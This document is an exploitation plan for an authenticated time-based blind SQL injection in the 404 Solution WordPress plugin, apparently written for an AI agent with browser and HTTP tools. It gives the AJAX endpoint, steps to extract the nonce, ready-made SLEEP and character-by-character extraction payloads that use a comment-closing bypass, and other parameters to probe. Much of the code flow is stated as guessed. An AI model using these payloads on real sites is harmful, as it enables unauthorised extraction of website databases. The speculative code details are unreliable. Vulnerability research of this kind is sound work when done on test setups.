404 Solution <= 3.1.0 - Authenticated (Admin+) SQL Injection via 'filterText' Parameter

This research plan outlines the technical steps required to exploit CVE-2025-14477, a SQL injection vulnerability in the 404 Solution plugin for WordPress.

1. Vulnerability Summary

The 404 Solution plugin (versions <= 3.1.0) is vulnerable to a time-based blind SQL injection. The flaw exists in the ajaxUpdatePaginationLinks function, which handles the filterText parameter used to filter logs or redirects in the admin dashboard.

The vulnerability stems from a misguided sanitization attempt where the plugin likely removes the $ character from the input. By submitting the sequence *$/, the $ is stripped, leaving */. If the input is placed inside a SQL comment (e.g., /* %s */), this sequence closes the comment context, allowing the attacker to inject arbitrary SQL.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: 404_solution_pagination_links (inferred from function naming)
• Vulnerable Parameter: filterText
• Method: POST
• Authentication: Required (Administrator role)
• Impact: Time-based blind SQL injection allowing data exfiltration from the WordPress database.

3. Code Flow (Inferred)

1. Entry Point: The administrator accesses the "Redirects" or "404 Logs" page in the plugin dashboard.
2. AJAX Request: The JavaScript in the browser triggers an AJAX call to admin-ajax.php with the action 404_solution_pagination_links.
3. Handler: The function ajaxUpdatePaginationLinks is called.
4. Processing:
   • The code retrieves $_POST['filterText'].
   • A sanitization step removes the $ character: $filterText = str_replace('$', '', $_POST['filterText']);.
5. SQL Construction: The $filterText is likely embedded within a SQL query, possibly inside a comment intended for logging or a complex LIKE clause:

   SELECT * FROM wp_404_solution_redirects WHERE url LIKE '/* [FILTER_TEXT_HERE] */' ...
   

6. Sink: The resulting query is executed via $wpdb->get_results() without using $wpdb->prepare() for the commented section.

4. Nonce Acquisition Strategy

The plugin enqueues administrative scripts that localize a nonce for AJAX requests.

1. Identify Page: The "404 Solution" settings or logs page (/wp-admin/admin.php?page=404_solution_logs).
2. Create Content: No specific shortcode is needed for admin-side exploitation, but the agent must be logged in as an administrator.
3. Navigate: Use browser_navigate to reach the plugin's logs page.
4. Extraction: Execute JavaScript to retrieve the nonce from the localized object.
   • JS Variable (Inferred): four_oh_four_solution_vars or c404s_admin_data.
   • Command: browser_eval("window.four_oh_four_solution_vars?.nonce")
   • Alternative: Search the page source for _wpnonce if the object name differs.

5. Exploitation Strategy

Step 1: Authentication and Nonce Retrieval

• Log in as an administrator.
• Navigate to wp-admin/admin.php?page=404_solution_logs.
• Extract the nonce for the 404_solution_pagination_links action.

Step 2: Proof of Concept (Time-Based)

Send a POST request using the http_request tool to verify the injection.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Headers:
  • Content-Type: application/x-www-form-urlencoded
  • Cookie: [Admin Cookies]
• Body:

  action=404_solution_pagination_links&_wpnonce=[NONCE]&filterText=*$/ AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  

• Payload Analysis:
  • *$/ becomes */ (Closing the SQL comment).
  • AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) triggers a 5-second delay.
  • -- - comments out the trailing */ of the original query.

Step 3: Data Exfiltration

To exfiltrate the database version:

• Payload: *$/ AND IF(ASCII(SUBSTRING(VERSION(),1,1))>50, SLEEP(5), 0)-- -

6. Test Data Setup

1. Plugin State: Ensure "404 Solution" is installed and activated.
2. Generate Data: Visit a non-existent page (e.g., /this-page-does-not-exist-123) to generate at least one entry in the 404 logs so the pagination query has results to process.
3. User: An account with the administrator role.

7. Expected Results

• Normal Request: The server responds immediately (usually < 200ms).
• Exploit Request: The server response is delayed by approximately 5 seconds.
• Response Body: The JSON response may contain pagination links or a "no results" message, but the timing is the primary indicator of success.

8. Verification Steps

After performing the HTTP requests:

1. Timing Logs: Check the total_time property of the http_request response.
2. Database Inspection: (Optional) Use WP-CLI to confirm the database contains data that the query would have touched:
   wp db query "SELECT COUNT(*) FROM wp_404_solution_logs"
3. Log Check: Check the WordPress error log if WP_DEBUG is enabled; SQL errors might appear if the payload syntax is slightly off for the specific internal query.

9. Alternative Approaches

If the filterText is not placed inside a comment but is simply used in a LIKE clause:

• Classic Injection: filterText=test' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
• Bypass Logic: If the plugin escapes single quotes but not the comment characters, the *$/ bypass remains the primary path.
• Parameter Polling: Try the payload in other AJAX parameters like orderBy or order, as plugins often use similar patterns across all pagination-related inputs.